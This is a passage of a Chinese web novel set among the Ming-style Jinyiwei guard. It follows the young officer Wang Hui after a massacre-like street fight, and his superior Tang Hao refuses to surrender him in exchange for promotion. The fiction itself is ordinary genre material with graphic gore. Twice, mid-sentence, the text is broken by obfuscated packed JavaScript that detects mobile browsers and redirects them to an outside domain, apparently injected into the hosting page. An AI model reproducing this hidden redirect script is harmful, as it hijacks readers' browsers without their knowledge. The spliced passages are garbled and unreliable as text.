这个江湖,总是这样大浪淘沙,来来去去。有的人昙花一现,很快就被遗忘;有的人却能于惊涛骇浪中悍然冲出,从此光芒万丈,显赫于世。而王辉,显然就是后者。 约摸半个时辰之后,长街之外,终于响起了一阵密集而急促的脚步声,其间夹杂着甲胄摩擦的铿锵之声,还有火把燃烧的“噼啪”声。 在火把跳跃的光亮照耀下,百户所的援兵,终于姗姗来迟。 当先一名总旗官,穿着一身黑色甲胄,手持长枪,带着两百多名锦衣卫冲入长街。然而,当他们看清眼前的景象时,所有人都如同被施了定身术般,猛地停下了脚步,倒吸凉气的声音此起彼伏,连甲胄摩擦的声音都瞬间消失了。 太惨烈了!也太恐怖了! 整条长街如同被血洗过一般,尸体堆积如山,有的尸体叠了两层,有的尸体被劈成两半,内脏流了一地;残肢断臂挂在街边的墙壁上,有的手指还在微微抽搐;粘稠的血液几乎淹没了脚面,踩在上面会发出“咕叽”的声响;浓烈到令人作呕的血腥味几乎凝成实质,呛得人忍不住咳嗽,火把的光芒映在血洼里,反射出诡异的红光。 而当他们的目光,最终落在那个独自屹立在尸山血海中央、浑身浴血、仿佛刚从地狱血池里爬出来的身影时,更是忍不住齐齐打了一个冷颤,一股难以言喻的寒意从心底升起,让他们不寒而栗。 那就是王辉? 那个据说以下犯上、杀了张刚总旗,又引来清水帮围杀的王辉? 他竟然……还活着?而且,看这场景,竟然还是他赢了?! 总旗官的瞳孔骤缩,他看着王辉手中的头颅(此刻王辉已经将头颅放在了地上),看着周围清水帮众的尸体,看着王辉满身的鲜血,喉咙动了动,却半天说不出话来。他带来的锦衣卫们,也都目瞪口呆地看着眼前的一切,有的人甚至下意识地后退了一步,不敢靠近那片尸山血海。 而此时的王辉,看到援兵终于到来,一直紧绷的心神和身体才终于放松下来。他长长地、缓缓地吐出了一口带着血腥味的浊气,那口气里混杂着汗水和血水的味道。他的身体晃了一下,下意识地扶住了插在地上的钢刀,才勉强站稳。 额头上的伤口传来剧痛,肋下的伤也在隐隐作痛,疲惫感如同潮水般将他淹没,眼皮沉重得几乎睁不开。但他知道,自己活下来了。 今夜,这漫长而血腥的一夜,终于过去了! 22. 成名 今夜的百户所,灯火通明,宛如白昼。衙门外悬挂的红灯笼在夜风中轻轻摇曳,投下明明暗暗的光影,将整个百户所笼罩在一片肃杀而又凝重的氛围中。 长宁坊外一战,已然惊动了整座都江城。不论是官府衙门还是江湖帮派,都为之震动,掀起惊涛骇浪。街巷之间,百姓们窃窃私语,酒肆茶楼中,各路人士议论纷纷,都在猜测这场突如其来的血战将会引发怎样的后果。 这段时间以来,王辉带领百户所东院锦衣卫大肆扫荡清水帮堂口,本就吸引了各方势力的密切关注。这位名不见经传的锦衣卫小旗,以雷霆手段连续端掉清水帮多处据点,早已在都江城掀起不小的风波。而今夜的长宁坊血战,更是将这场风波推向了前所未有的高潮。 成名多年的"断剑书生"、清水帮分舵舵主王凯被斩杀,等同于将长宁分舵的实力削去大半。明眼人都清楚,这绝非结束,而仅仅是个开始。但即便是最富想象力的旁观者,也未曾预料到开局便是如此惊心动魄。 王凯并非无名之辈,在江湖上声名显赫。一柄断剑使得出神入化。相比之下,王辉此前可谓是默默无闻,就像投入湖面的一颗石子,虽能激起涟漪,却无人料到竟能掀起惊涛骇浪。 江湖便是如此,人们总是津津乐道于那些无名小卒踏着前辈尸骨一战成名的传奇。江湖中传播最快的,往往是那些初出茅庐的年轻人斩杀成名多年的前辈,从而声名鹊起的故事。这既满足了人们对奇迹的向往,也暗合了弱者逆袭的隐秘渴望。 长宁坊一战,完美契合了这种江湖想象,正如当年王凯自己的成名之路一般。那时,年轻的王凯也是以一己之力,在雁荡山下力战"血手人屠"杜三爷,从此名扬江湖。如今轮到他成为别人成名的垫脚石,不禁令人唏嘘天道轮回,报应不爽。 王辉逆境翻盘,以弱胜强,斩杀的是长宁分舵舵主这等人物。这一战注定要载入都江城江湖史册,成为街头巷尾议论的焦点。酒楼茶肆中,说书人已经开始编撰这段传奇,添油加醋地讲述着当时的惊险场面。 而此时,江湖上风起云涌,官府内部也同样波澜起伏。府衙之内,灯火通明,各级官员紧急集会,商讨对策。清水帮在都江城经营多年,与各方势力盘根错节,牵一发而动全身。王辉这一刀,不仅斩断了王凯的咽喉,更刺痛了无数既得利益者的神经。 百户所医馆内,哀嚎声不绝于耳,众多医师忙得不可开交。今夜一战,锦衣卫死伤惨重。浓重的血腥味与草药气息混合在一起,形成一种奇特而又令人不安的味道。走廊里,受伤的锦衣卫或坐或卧,有的低声呻吟,有的咬牙忍痛,却无一人抱怨。他们都是经历过生死的老兵,深知这条路上的艰险。 一间诊疗室内,王辉身上缠着绷带,脸上的血迹尚未擦净。他赤裸着上身坐在凳子上,坚实的肌肉上布满了新旧交错的伤疤,记录着这个年轻人不平凡的过往。一位白发苍苍的老医师正带着两名年轻学徒为他包扎伤口。老人的手法娴熟而稳健,每一个动作都显得游刃有余。 两名年轻医师却显得有些战战兢兢,手法生疏。他们不时偷眼看王辉,眼神中既有敬畏也有恐惧。这位刚刚在长宁坊创造传奇的年轻人,此刻安静地坐在那里,却自有一股令人心悸的气势。 反倒是老医师气定神闲,一边处理伤口,还不忘慢条斯理地向徒弟讲解着什么是"杀气"。"你们看,"老医师指着王辉背上的一道伤口,"这一刀若是再偏三分,就会伤及肺脉。但王大人却在千钧一发之际避开了要害,这就是沙场老手的直觉。" 王辉也饶有兴致地听了一会儿。他对这位老医师早有耳闻,据说年轻时曾是军中医官,随军南征北战,见过无数生死场面。退休后便在锦衣卫衙门当差,专门诊治受伤的锦衣卫。 据老医师所言,杀气是由内而外凝聚而成的。杀人越多,杀气就越发浓重,甚至到后期能够收放自如。这是一种特殊的气势,就如同那些久居上位者,长期执掌大权,一举一动都能散发出威严,令人不由自主地敬畏拘谨。 "记得当年跟随大将军北伐时,"老医师一边缝合伤口,一边娓娓道来,"两军对垒之际,大将军只需策马阵前,目光所及之处,敌军无不胆寒。那不是因为大将军相貌凶恶,而是多年沙场征战凝聚的杀气所致。" 而杀气,则是让人恐惧战栗。这便是为什么江湖上会有那些一个眼神就能令敌人胆寒怯战的传说。老医师说起一桩往事:昔年有位锦衣卫指挥使,追缴江洋大盗时,仅凭一声大喝,就令那名杀人如麻的大盗跪地求饶。 "不过,"老医师话锋一转,对两个学徒道,"王大人今日只是因为杀人过多,才初步凝聚出了杀气,距离收放自如的境界还相差甚远。你们看他眼神中的锐气还不会收敛,这就是火候未到的表现。" 王辉闻言微微一笑,并不介意老医师的直言。他知道这位老人见识广博,句句都是经验之谈。 就在闲谈之际,门外突然传来一阵急促的脚步声。靴底敲击青石板的声音在走廊回响,显示出来人身份不凡。 百户唐浩推门而入,看了眼浑身是血的王辉,转向老医师问道:"他的伤势如何?" 老医师急忙躬身回答:"启禀百户大人,王小旗的伤势看似严重,实则都避开了要害。加之王小旗修为高深,恢复起来会很快,静养几日便基本无碍了。" 唐浩长舒一口气,望着王辉,缓缓竖起大拇指:"王兄弟,恭喜,一战成名!" 王辉问道:"具体情况,大人都了解了吧?不会有什么问题吧?" "我说过,你就是把都江府的天捅破了,也有我给你顶着。"唐浩笑了笑,说道:"不过,这次距离捅破天也差不了多少了。我是怎么都没想到你动作搞得这么大。" "方才府衙和千户所都已经传讯让我过去一趟。我有些担心你的伤势,所以先来看看。你没什么大碍就行,我这就去千户所,要是再不去,那些人都要疯了。" 唐浩轻笑一声,又道:"你好好养伤,其他事情都不用担心。我高低得去千户所给你要一个总旗的位置来。" "多谢大人。"王辉说道。 "是我该谢谢你,"唐浩拍了拍王辉的肩膀,"若是你早几年出现,我也不至于在这里蹉跎这么些年。所幸,真让我等到了。行了,你先好好养伤,其他事情都交给我。" 说罢,唐浩转身离去,脚步声渐行渐远。王辉目送他离开,眼中闪过一丝复杂的神色。他知道,唐浩此去千户所,必将面临巨大的压力。今夜之事,远非寻常江湖纷争那么简单。 …… 千户所内,灯火通明。 都江府锦衣卫一把手千户霍成林端坐书房,脸色阴沉。花白的头发略显凌乱,在跳动的烛光映照下,他那肥胖的面容显得更加苍老。书房四壁皆是书架,上面整齐地排列着各类卷宗和典籍,显示着主人的身份与地位。然而此刻,这些都不能给霍成林带来丝毫安宁。 "大人,"一名手下走进来禀报,"府衙那边已经来五波人了,都在质问咱们锦衣卫意欲何为,问您是不是要挑起江湖动乱?" 霍成林重重一拍桌子,震得桌上的茶盏叮当作响:"问我干什么?去问那位唐大公子啊!他们难道不知道吗?那位唐大公子名义上归我千户所管辖,但他何曾听过千户所的调遣?" "一个个都来问我,我都快要退休了,还能做什么?我不想安安稳稳地干完这两年,然后去州府颐养天年吗?"霍成林越说越激动,肥胖的身躯因愤怒而微微颤抖。 那名手下躬身侍立,待霍成林发泄完毕,才小心翼翼地说道:"大人,其实这件事情也很好处理。" 霍成林眉头一挑,问道:"怎么处理?" 手下上前一步,压低声音道:"唐浩所想要的,也不过是接任您的位置。您答应他就是了,但要求他把那个王辉交出来平息这场风波。同时让他保证,只要安安稳稳度过这两年,这个要求真不算高,唐浩没有理由拒绝。" 霍成林眼睛一亮,随即又有些为难:"只是这唐浩行事一向不按常理出牌……"35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513474|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 手下轻笑道:"再不讲规矩,也是有目的的。他什么身份?唐家嫡系公子,来这里就是为了镀金而已,最终目的也就是要坐上千户之位,然后风风光光回归京城。" "他对这都江城又没什么念想。前几年风风火火地干那么一场,最后迫于各方压力才停歇。如今再起风波,也是因为他没有把握成功抢到您走之后留下的位置。毕竟,如今都江府有望争夺千户之位的,可不止他一个。" "只要您松口,他就有绝对把握成功,那他有什么理由不同意?这么一来,他自然也可以安稳下来,不再兴风作浪。您也不用再承受各方的压力了。" 霍成林点了点头,说道:"只是,那唐浩也是个极好面子的人,要他把自己手下交出来……" 手下轻笑道:"这又损耗不到他的面子。那个叫王辉的小旗,当众杀了他的上官,这可是犯了大忌。就凭这一点,只要唐浩不死保,就可以让他停职。而他又杀了王凯,以清水帮的势力以及他们背后与官府的牵连,要处理一个被停职的小旗,那不是手到擒来、轻而易举吗?" "处理这个王辉,又不需要唐浩亲自做什么,只需要他不死保就行,影响不到他的名声。这对他而言,百利而无一害!" 霍成林沉吟良久,肥胖的手指无意识地敲击着桌面,烛光在他脸上投下摇曳的阴影。书房内一时间寂静无声,只有烛火偶尔爆出的噼啪声。 窗外,夜风呼啸而过,吹得窗棂咯咯作响,仿佛在预示着这个夜晚的不平静。 终于,霍成林长叹一声,仿佛卸下了千斤重担:"就这么办吧。你去安排一下,明日请唐浩过来一叙。" "是,大人。"手下躬身领命,嘴角露出一丝不易察觉的笑意。他悄然退出书房,脚步声渐渐远去。 待手下退出书房,霍成林缓缓起身,走到窗前。夜色中的千户所安静得可怕,但他知道,这寂静之下暗流涌动。各方的眼线必定早已将今夜之事传遍全城,不知多少双眼睛正盯着千户所的一举一动。 明日之后,都江府的格局将再次改变。而他,只希望能够平安度过这最后两年,然后远离这是非之地,安享晚年。 窗外,一轮明月高悬,清冷的月光洒在庭院中,仿佛为这个不眠之夜披上了一层银纱。远处传来打更人的梆子声,已经是三更时分。 霍成林的眼中闪过一丝复杂之色。他何尝不知道,交出王辉平息风波,无异于向江湖势力低头。但如今的他,早已没有了当年的锐气和雄心。岁月磨平了他的棱角,官场的明争暗斗消磨了他的斗志。现在他唯一的愿望,就是全身而退。 转身回到书案前,霍成林提笔写下了一封信。笔尖在宣纸上沙沙作响,每一个字都经过深思熟虑。这封信将是明日的筹码,也是他全身而退的保障。信中既表达了对唐浩的支持,又巧妙地暗示了交出王辉的必要性,措辞圆滑,进退有据。 在这个多事之秋,每个人都必须做出选择。而他的选择,就是明哲保身。 写完信,霍成林仔细封好,放在书案最显眼的位置。明日一早,这封信就会送到唐浩手中。他长舒一口气,吹灭了书案上的烛台,书房顿时陷入一片黑暗。 然而霍成林不知道的是,此刻的百户所内,王辉正站在窗前,远眺千户所的方向。年轻的锦衣卫小旗目光如炬,仿佛能穿透重重夜幕,看清这场权力游戏中的每一个棋子。 "大人,"王辉轻声自语,"这场戏,才刚刚开始。" 夜风吹拂着他包扎着绷带的胸膛,带来一丝凉意,却也让他更加清醒。他知道,自己已经踏上了一条不归路,要么功成名就,要么万劫不复。 而在这个漫长的夜晚,都江城的许多人都无法入眠。清水帮总坛内灯火通明,帮众群情激愤;府衙之中,官员们紧急商议;千户所内,霍成林辗转反侧;百户所里,唐浩正在书写奏折;而医馆中,王辉则默默运功疗伤。 所有人都在等待着黎明的到来,等待着新一轮的较量开始。这座城市的命运,正在这个夜晚悄然改变。 23. 暗流涌动 千户所,议事大厅内。 烛火通明,将这座庄严肃穆的大厅映照得如同白昼。高高的穹顶上绘着祥云瑞兽的彩画,四壁悬挂着历代锦衣卫指挥使的画像,每一幅都仿佛在无声地注视着这场即将到来的交锋。 此时,大厅里已经坐满了人。主位上坐着千户霍成林,他肥胖的身躯深深陷入宽大的太师椅中,花白的头发在烛光下显得格外醒目。依次下来是两位百户以及千户所里的参事,这些都是都江城中锦衣卫的高层人物,个个神色凝重,气氛压抑得让人喘不过气来。 唐浩带着两名亲信校尉走了进来,看到这个阵仗,嘴角不由得泛起一丝冷笑。这一幕,让他有种回到了几年前初到都江府时的感觉。 那一年,他刚上任就以雷霆手段镇压了南城百户所,紧接着就大刀阔斧地整顿南城江湖帮派。那时他年轻气盛,满怀理想,差一点就成功了。但最后关头,也是如同今天这样,整个锦衣卫都来压制他,而他独木难支,最后不得不妥协。 这一等就是好几年。这几年里,他做了很多准备,提拔了很多锦衣卫新人,在千户所中也培养了自己的班底。如今,手下又出了王辉这样一个异军突起的猛将。 今日这熟悉的场景,让他心里再清楚不过:这是他与都江府这个腐朽的官府体系的一次正面交锋。 "见过霍千户。"唐浩拱手执礼,声音洪亮,在大厅中回荡。 霍成林微微笑了笑,笑容却未达眼底:"唐老弟来了,快入座吧!" 唐浩拱了拱手,在一张空着的太师椅上坐下,翘起二郎腿,端起旁边茶几上的茶杯,慢条斯理地品了起来。他举止从容,仿佛完全感受不到现场紧张的气氛。 一时间,大厅内陷入了一种诡异的寂静。只能听到烛火偶尔爆出的噼啪声,以及众人深浅不一的呼吸声。 唐悠闲地品着茶,仿佛对今天集会的目的毫不知情,什么话也不说。而霍成林作为千户,对于今天这摆明车马要压制唐浩的场合,也不好主动开口,一时间竟不知如何打破这个僵局。 他悄然向身旁的一个百户递了一个眼神。 这个百户是霍成林的亲信,名叫岳天波,年纪已近花甲,头发花白,脸上布满了岁月留下的沟壑。他年轻时就跟随着霍成林,在都江府锦衣卫里算是资历最老的,又因为是霍成林的心腹,地位也颇高。 岳天波会意,清了清嗓子,笑吟吟地望向唐浩,说道:"唐百户啊,今日霍千户召集我们大家来此,所谓何事,你应该知道吧?" 唐浩瞥了岳天波一眼,眼中闪过一丝不易察觉的厌恶。 当年也是这个岳天波,充分地充当了霍成林的马前卒,带头给他施压。在他与南城江湖帮派开战的关键时刻,正是岳天波从背后搞鬼,断了死伤抚恤金和人手补充,导致他最后一搏功亏一篑。 唐浩冷笑一声,放下茶杯,说道:"想来,应该是为了我南城百户所今日立下大功的事情吧?霍千户也太心急了些,我这公函都还没写好,论功行赏也还没到时间。不过,霍千户如此重视,这公函我就不写了,直接口述请功吧!" 霍成林脸色一僵,端着茶杯的手微微颤抖,溅出几滴茶水。 岳天波也是面色尴尬,讪讪地笑了笑,说道:"唐百户恐怕是误会了。今日你南城百户所动作太大了点,霍千户召您过来,是为了咨询一下事情经过。" 他顿了顿,语气变得严肃起来:"唐百户啊,您手下的人如今闹出这么大的动静,府衙那边可是重视得很。这个事情处理不好,一不小心就会闹出民愤,对我们锦衣卫的名声影响很大!" 唐浩淡淡地看了岳天波一眼,不急不缓地说道:"岳大人?不如你详细说一说,哪件事情会引起民愤?" 岳天波说道:"南城百户所擅自杀人,还是杀的我们都江城很有影响力的商户。这件事情,闹大了啊,唐百户。王凯可是我们都江城顶级的商人,多少人靠着他吃饭,每年交的税……" "打住!"唐浩猛地打断他的话,沉声道:"王凯都算是正经商人了?岳大人,我想问问你,哪个正经商人敢带人侵地,敢当街围杀锦衣卫?这就是你说的正经商人?" 岳天波讪讪道:"唐百户,这些事情可能只是误会,毕竟没有确凿证据……" "我南城百户所死伤六七十人,你跟我说没证据?"唐浩一拍桌子,霍然起身,指着岳天波怒声道:"老子今晚就去杀了你全家,也给你来一句没证据,让你息事宁人,如何?" 岳天波气得脸色通红,手指颤抖地指着唐浩:"你……你简直岂有此理!" "好了好了,"霍成林急忙在这时候出来打圆场,说道:"唐百户莫要冲动,今夜南城百户所损失惨重,你情绪不好是正常的。不过这事情终归是得解决的。" "解决什么?"唐浩沉声道:"锦衣卫被一群江湖人士围杀,霍千户你不想着来调查这些江湖人士,却想着来找我百户所的麻烦,这是什么意思?我大楚的法律是用来给那些猖狂的江湖人士做庇护的吗?是为他们定的吗?" 被唐浩这么毫不留情的质问,霍成林脸色也有些挂不住了。可是他深知唐浩的背景强大,只能强忍着怒火道:"这件事情,千户所和府衙自然会调查清楚,到时候一定给唐百户你一个满意的交代。但是,另外一件事情,必须立即处理!" 唐浩眯了眯眼睛,没有说话,等待着他的下文。 霍成林沉声道:"南城百户所东院小旗使王辉,当街杀死上官,此乃我都江府数十年未曾遇过之恶劣事件,其手段凶残,毫无敬畏,不讲律法,其罪当诛……" 唐浩直接打断霍成林的话,说道:"霍千户这意思是,我大楚的法律有规定,上官可以残害同僚,下属不能反抗?反抗就是死罪?霍千户好本事啊,大楚的律法都可以随意篡改?还是你堂堂锦衣卫千户,连我大楚律法都不曾读过?你这是对陛下不满,还是对朝堂诸公有意见,或者是想要去跟叛贼为伍?" "唐浩!"霍成林气急,怒吼道:"你过分了,这种话岂能乱说,我对朝廷忠心耿耿日月可鉴!" "既然对朝廷忠心耿耿,为何篡改律法?"唐浩毫不退让地追问。 霍成林大怒,肥胖的身躯因愤怒而微微颤抖:"你……你简直强词夺理!" "霍千户,唐百户,"岳天波又在这时打圆场,说道:"两位都是忠君爱国之士,所有人都有目共睹,莫要为一时之气,徒惹人笑话。" 说罢,岳天波又望向唐浩,语气变得语重心长:"唐百户,您年纪轻轻,功勋又大,潜力极高,将来必定是能够平步青云的。将来身居高位,偶尔回想起同僚之谊,也不愿留下这么多的不愉快吧。" "说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513475|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这里,"岳天波顿了顿,瞥了一眼霍成林,继续说道:"霍千户其实也是非常欣赏和重视唐百户您的。前两天还在跟我说,他马上就要退休了,正准备着向镇抚司申请让您来顶替千户之位呢!" 唐浩微微眯了眯眼睛,心中冷笑,但面上却不露声色,沉声道:"什么条件?" 岳天波笑了笑,道:"哪里有什么条件,以唐百户您的实力,之后这千户之位非您莫属。只是,如今这都江城真的不能乱啊,这次的风波影响太大了,各方面都在施压,即便是霍千户有心推举您上位也是有心无力。所以,希望唐百户您多体谅体谅!" 唐浩沉吟片刻,缓缓坐下,道:"如何体谅?" 岳天波见唐浩语气有所松动,心中一喜,连忙说道:"这次的风波都是小旗使王辉引起的,自然也该由他来停止这场风波。唐百户,意下如何?" 大厅内顿时一片寂静,所有人的目光都聚焦在唐浩身上,等待着他的回答。烛火摇曳,在唐浩脸上投下明明暗暗的光影,让人看不清他此刻的表情。 唐浩端起茶杯,轻轻吹开浮沫,慢条斯理地品了一口,这才缓缓开口道:"岳大人的意思是,要我交出王辉?" 岳天波赔笑道:"唐百户言重了,不是交出,只是让他暂时停职接受调查。等风波平息了,自然还会还他清白。" "清白?"唐浩冷笑一声,"进了你们的手,还能有清白可言吗?" 岳天波脸色一僵,正要说什么,却被唐浩抬手制止。 唐浩站起身,环视全场,目光如电,一字一句道:"王辉是我的人,他今日所做的一切,都是我授权的。你们要动他,先问过我同不同意!" "唐浩!"霍成林再也忍不住,猛地站起身,"你不要太过分!这千户所还轮不到你来做主!" 唐浩毫不畏惧地与霍成林对视,冷笑道:"霍千户若是觉得我过分,大可以上奏镇抚司,弹劾于我。但我把话放在这里,王辉我保定了,谁要是敢动他,就是与我唐浩为敌!" 说罢,唐浩一甩衣袖,转身就要离去。 "等等!"岳天波急忙拦住唐浩,压低声音道:"唐百户,何必如此冲动?您想想,只要您答应这个条件,千户之位就是您的了。为了一个小旗,值得吗?" 唐浩停下脚步,回头看着岳天波,忽然笑了:"岳大人,你知道吗?几年前我就是因为听了类似的劝告,放弃了我当时的兄弟。这些年,我无时无刻不在后悔。" 他的目光扫过霍成林和岳天波,语气坚定:"今日,我绝不会再重蹈覆辙。王辉我保定了,至于千户之位..." 唐浩冷笑一声:"我唐浩想要的东西,自然会凭本事去拿,不需要用兄弟的血来换!" 说完,唐浩大步流星地走出议事厅,留下满厅目瞪口呆的众人。 霍成林气得浑身发抖,一巴掌拍在茶几上,茶杯应声而碎:"狂妄!简直狂妄至极!" 岳天波望着唐浩离去的背影,眼中闪过一丝复杂的神色。他忽然有一种预感,这一次,都江府的天,恐怕真的要变了。 而此刻,走出千户所的唐浩,抬头望着满天繁星,深深吸了一口夜晚清凉的空气。他的眼中闪烁着坚定的光芒,仿佛已经看到了未来的腥风血雨。 "王辉,"他轻声自语,"接下来,就看你的了。" 24. 千户所议事 都江城千户所的议事大厅里,烛火正旺,跳动的火光映在紫檀木长桌上,将满厅人的影子拉得忽长忽短。墙上挂着一幅半旧的猛虎下山图,虎目炯炯,却压不住厅内几分凝滞的气氛。 唐浩站在长桌一侧,一身墨色劲装衬得他身形挺拔,闻言只是微微挑了挑眉,右手指尖无意识跳动着! 主位上的霍成林终于平复了方才翻涌的怒火。他今年已近五旬,两鬓染了些霜白,方才动怒时涨红的脸颊还未完全褪去,此刻他缓缓松开攥得指节发白的拳头,指腹在桌案上轻轻敲了两下,目光扫过厅内,最后落回唐浩身上,语气里带着几分刻意放缓的平和,像是在说一桩再寻常不过的交易:“唐百户,今日厅里没外人,你我就打开天窗说亮话——我与你之间,本就没什么摆不开的利益冲突。” 他顿了顿,端起一旁的茶盏抿了口,温热的茶水没压下眼底的算计:“你心里的打算,我清楚。你到都江城来,镀上一层金,日后好风风光光回京城去;而我呢,再过两年就到致仕的年纪了,只想安安稳稳熬过这最后两年,然后去云州镇抚司养老,图个清净。” 说到这儿,霍成林身子微微前倾,声音压得更低了些,带着几分诱哄的意味:“这千户的位子,我可以让给你。但你得答应我一件事——保证我这最后两年,在都江城能过得安稳,别出什么乱子。” 他抬眼打量着唐浩,语气里多了几分“公允”:“你论资历,是比另外几个百户差了些,但论实力论背景,京里也有人给你撑着,本就有机会和他们争一争。要是再加上我这个现任千户的举荐,你坐上这个位子,基本就是十拿九稳的事。” 话音落时,霍成林嘴角勾起一抹笃定的笑,仿佛已经胜券在握:“而且你不用付出什么代价,不过是把王辉交出来,平息了眼下这场风波。 一个小旗使而已,说白了,本就是你推出来做事的一把刀,现在用这把刀换你想要的前程,这笔交易,对你来说太划算了。” 说完,他往后靠回椅背上,端起茶盏又喝了一口,眼神里满是胸有成竹——他实在想不出,唐浩有任何拒绝的理由。 毕竟千户之位是多少人挤破头都想抢的,而王辉,不过是个刚提拔没多久的小旗,丢了也不算什么损失。 厅内的参事们也都纷纷点头,看向唐浩的目光里带着几分“理所当然”。坐在霍成林身侧的岳天波更是微微松了口气,他方才还担心唐浩会硬碰硬,现在看来,霍千户的提议确实戳中了唐浩的要害,这场风波大抵是能平了。 “的确很划算,换作旁人,恐怕真没理由拒绝。”唐浩终于开口,他的声音不高,却清晰地传到每个人耳朵里。 霍成林脸上的笑容瞬间更灿烂了,眼角的皱纹都挤在了一起,刚要再说些“识时务”的话,却见唐浩也笑了——唐浩的笑很淡,只扯了扯嘴角,眼底却没半分暖意,反而带着几分毫不掩饰的讽刺,紧接着,他缓缓吐出三个字:“但是,我拒绝。” “哐当”一声,霍成林手里的茶盏没拿稳,杯沿磕在桌案上,溅出几滴茶水在他的官袍上。他脸上的笑容瞬间凝固了,像是被人用冰锥冻住一般,眼神里满是错愕,随即又染上几分愠怒:“唐百户,你再说一遍?” 一旁的岳天波也愣住了,他下意识地扶了扶头上的乌纱帽,眼神里满是不解——他实在想不通,唐浩为什么要拒绝?这千户之位对唐浩来说,是一步登天的机会,而王辉不过是个可有可无的小旗,丢了便丢了,怎么看都是百利而无一害的事。 其他参事更是炸开了锅,有人低头交头接耳,有人面露诧异,还有人悄悄打量着唐浩的脸色,想从他脸上看出些“反悔”的迹象。整个议事大厅里,原本的凝滞被打破,取而代之的是一片混乱的议论声。 唐浩冷冷地扫了一眼厅内众人,那目光像寒冬里的风,瞬间让议论声戛然而止。他的声音里带着几分冰意,又有几分难以掩饰的厌恶:“说真的,你们这些人的心思,还有做事的手段,让我觉得恶心。我唐浩,不屑与你们为伍。” 霍成林的脸色彻底沉了下来,他死死盯着唐浩,语气里带着几分警告:“唐百户,你可要想好了!三年前,你都没能成功,如今就觉得自己能成了?” 可唐浩只是挑了挑眉,语气里满是不屑:“三年前是三年前,现在是现在。能不能成,咱们拭目以待就是。” 岳天波见状,连忙深吸一口气,往前迈了一步,语气里带着几分急切的劝阻:“唐百户!您可千万要想清楚啊!您现在这么一意孤行,要面对的可不光是一个清水帮!清水帮背后牵扯着都江城半数的商户,还有几个和他们交好的乡绅,更别说其他几个本就对您有顾忌的百户——您这是要和半个都江城为敌啊!” 他说的是实话,清水帮在都江城盘踞多年,和官府里不少人都有牵扯,唐浩要是护着王辉,就等于断了这些人的财路,到时候那些人联起手来,唐浩在都江城怕是寸步难行。 唐浩却只是冷哼了一声,他抬起头,目光扫过墙上的猛虎图,眼神里多了几分坚定:“当这世间都变得污秽不堪时,清白有时候确实像一种罪。但这份罪,我唐浩认了。” 这句话说得掷地有声,厅内瞬间陷入了死一般的寂静。烛火跳动的声音,此刻竟显得格外清晰。 过了片刻,唐浩摆了摆手,像是懒得再和他们纠缠,语气随意:“要是没其他事,我就先走了。哦,对了——”他像是突然想起什么,转头看向霍成林,“我手下总旗的位子空了些日子,我想让王辉接了这个位子,霍千户,没问题吧?” 霍成林的脸色本就阴沉得能滴出水来,闻言更是咬了咬牙,声音里带着几分压抑的怒火:“我说不给呢?” 唐浩脸上的笑意瞬间消失得无影无踪,他往前逼近一步,身上的气势陡然变了——那是在战场上磨砺出来的狠厉,带着几分不容置疑的压迫感。他冷声道:“不给也可以,那就别怪我直接掀桌子。我唐浩可以跟你们讲规矩,但也可以不讲规矩。霍千户,你该不会忘了,长宁坊里,藏着多少达官贵人的痕迹吧?要是把那些痕迹抖出去,呵呵……” 长宁坊是都江城最热闹的坊市,也是藏污纳垢之地。霍成林这些年和清水帮勾结,不少见不得光的交易都是在长宁坊进行的,那些“痕迹”要是被曝光,霍成林别说养老,能不能保住性命都难说。 霍成林的脸色瞬间变得惨白,他死死盯着唐浩,双手在桌下攥得紧紧的,指节因为用力而泛白。过了良久,他才从牙缝里挤出一个字:“准!” “多谢霍千户。”唐浩随意地拱了拱手,没再看厅内众人一眼,转身一甩袖子,大步流星地走出了议事大厅,墨色的劲装在门口的光影里闪了一下,便消失在门外。 “唐百户!”霍成林突然开口叫住他,声音里带着几分阴恻恻的提醒,“这世上的事,往往有一就有二。王辉今日能因为张刚挡了他的路,就杀了自己的上官,你就不担心,明日他会因为你挡了他的路,对你下手?” 唐浩的脚步顿了顿,却没回头,只留下一句清晰而坚定的话:“不劳霍千户费心。我自己认的兄弟,是人是鬼,我都接着。” 脚步声渐渐远去,议事大厅的门还开着,外面的冷风灌了进来,吹得烛火晃了晃,也吹得霍成林的脸色愈发难看。 …… 走出千户所大门,外面的天色已经暗了下来,街面上挂起了灯笼,昏黄的光透过灯笼纸,在地上洒下一片朦胧的光晕。唐浩的坐骑就拴在门口的槐树下,那是一匹黑色的骏马,见他出来,轻轻打了个响鼻。 一直候在门口的心腹连忙上前,他看着唐浩的背影,犹豫了好一会儿,还是忍不住开口:“大人,您今日这个选择,实在不太划算啊。霍千户都愿意把千户之位让出来了,您只要交了王辉……” 唐浩翻身上马,动作利落,他低头整理了一下马缰,语气平静:“人这一辈子,不是什么事都要去算得失的。而且很多时候,事情的得失,也不是表面上看起来那么简单。” 林忠还是不解,他拱了拱手,语气里带着几分急切:“还请大人指点,属下实在不明白,王辉不过是个小旗使,您犯不着为了他,得罪霍千户,还把半个都江城的势力都推到对立面。” 唐浩轻轻笑了笑,他勒着马缰,目光望向远处的街灯,眼神里多了几分回忆:“三年前,情况和今日差不多。那时候我也是冲击千户之位,霍成林当时在任参事,为什么那时候他不用千户之位来诱惑我?因为那时候我只是‘可能’有人策应,而现在,我是真的有人策应。” 